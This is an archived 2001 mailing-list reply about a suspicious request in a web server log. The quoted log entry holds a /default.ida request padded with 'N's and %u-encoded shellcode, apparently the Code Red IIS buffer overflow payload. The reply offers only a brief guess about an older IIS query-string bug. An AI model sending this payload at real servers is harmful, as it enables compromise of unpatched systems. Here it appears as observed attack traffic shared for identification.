[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: CGI Buffer Overflow?



On Thu, Jul 19, 2001 at 05:17:26PM -0400, Brian Rectanus wrote:
> Anyone seen this before?  I have looked around for similar attacks, but
> cannot find any info.  I assume that is a unicode string padded out with
> Ns.  How would I go about finding out what is in the string?
> 
> 
> xxx.xxx.xxx.xxx - - [19/Jul/2001:14:28:23 -0400] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9
> 090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0
> 078%u0000%u00=a  HTTP/1.0" 400 328

There was a bug in IIS that involved query strings over 4095 or 8191
characters. That was several years ago though.

-B

-- 
Brandon High                                     armitage@freaks.com
Jury: Twelve people who determine which client has the better attorney.

Attachment: pgpuggjFuZGLv.pgp
Description: PGP signature


Reply to: